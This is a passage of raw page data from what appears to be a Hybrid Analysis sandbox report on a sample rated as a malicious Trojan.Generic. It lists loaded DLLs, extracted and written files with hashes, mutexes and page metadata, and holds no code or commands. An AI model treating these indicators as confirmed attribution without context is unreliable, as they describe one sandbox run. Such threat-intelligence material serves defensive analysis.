nfrastructure.Native.dll","cmdext.dll","System.Core.ni.dll","windows.storage.dll","System.Xml.ni.dll","System.Configuration.Install.ni.dll","mskeyprotect.dll","ncrypt.dll","ucrtbase.dll","rpcrt4.dll","VxSSL64.dll","mscoreei.dll","vcruntime140_clr0400.dll","SHCore.dll","System.Transactions.dll","wininet.dll","ntmarta.dll","atl.dll","mscorlib.ni.dll","wintrust.dll","wshext.dll","iertutil.dll","coml2.dll","Microsoft.KeyDistributionService.Cmdlets.dll","gdi32.dll","mscoree.dll","kernel.appcore.dll","wldp.dll","vcruntime140.dll","AppxSip.dll","gpapi.dll","pwrshsip.dll","KdsCli.dll","ntasn1.dll","System.Windows.Forms.ni.dll","rasadhlp.dll","fltLib.dll","advapi32.dll","bcrypt.dll","wkscli.dll","System.ni.dll","msisip.dll","System.Transactions.ni.dll","clrcompression.dll","msasn1.dll","oleaut32.dll","bcryptprimitives.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"__PSScriptPolicyTest_0fqeueyb.2sc.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"__PSScriptPolicyTest_ocul3hwa.ftz.ps1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"vx28417.zip","sha256":"640cde817c69eb6261d067d155ef96c00d8417a9b0ed498f3fae795b04d82581","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"StartupProfileData-NonInteractive","sha256":"03251c1dc2105e78c510bc0feaf9358ae7b7dfce3a7f4806dd5a6d3f7cca3018","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"__PSScriptPolicyTest_mrmibead.gfx.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"__PSScriptPolicyTest_wgew1v2q.zof.psm1","sha256":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"urlref_httpspumpadmin.func","sha256":"9e9810c4624af2c517e98422e0772d1d42cba22a8a3c9f30cef2350fbe4e7369","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"path":"%TEMP%\\vx28417\\who.txt","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"path":"PIPE\\wkssvc","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_0fqeueyb.2sc.ps1","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_mrmibead.gfx.psm1","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_ocul3hwa.ftz.ps1","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_wgew1v2q.zof.psm1","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]}],"files_deleted":null},"registry_activity":{"keys_created":null,"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:860:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"SM0:860:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:188:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"SM0:188:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8900:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"SM0:8900:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:2156:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"SM0:2156:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:4336:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"SM0:4336:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:8476:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"SM0:8476:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7064:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"Local\\SM0:7064:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"SM0:7064:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"SM0:7064:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"Local\\SM0:7064:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7064:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"\\BaseNamedObjects\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7064:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7064:120:WilError_03","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7628:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]},{"name":"SM0:7628:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6af46b8fe2838650c606b17c"}]}]}},"report_ids":{"sandbox_job_ids":["6af46b8fe2838650c606b17c"]}}}]]}] 2c:[["$","title","0",{"children":"Malicious Trojan.Generic Sample f12e8dde6514… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample f12e8dde6514…. Malware family: Trojan.Generic. Threat score 100/100. 4/26 AV engines flagged this file. 3 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/f12e8dde651458f015d4477abc30d34f857028bb02700019a9f375b0ffdf410c"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample f12e8dde6514… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample f12e8dde6514…. Malware family: Trojan.Generic. Threat score 100/100. 4/26 AV engines flagged this file. 3 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/f12e8dde651458f015d4477abc30d34f857028bb02700019a9f375b0ffdf410c"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample f12e8dde6514… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample f12e8dde6514…. Malware family: Trojan.Generic. Threat score 100/100. 4/26 AV engines flagged this file. 3 malicious and 11 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L56","11",{}]] 32:null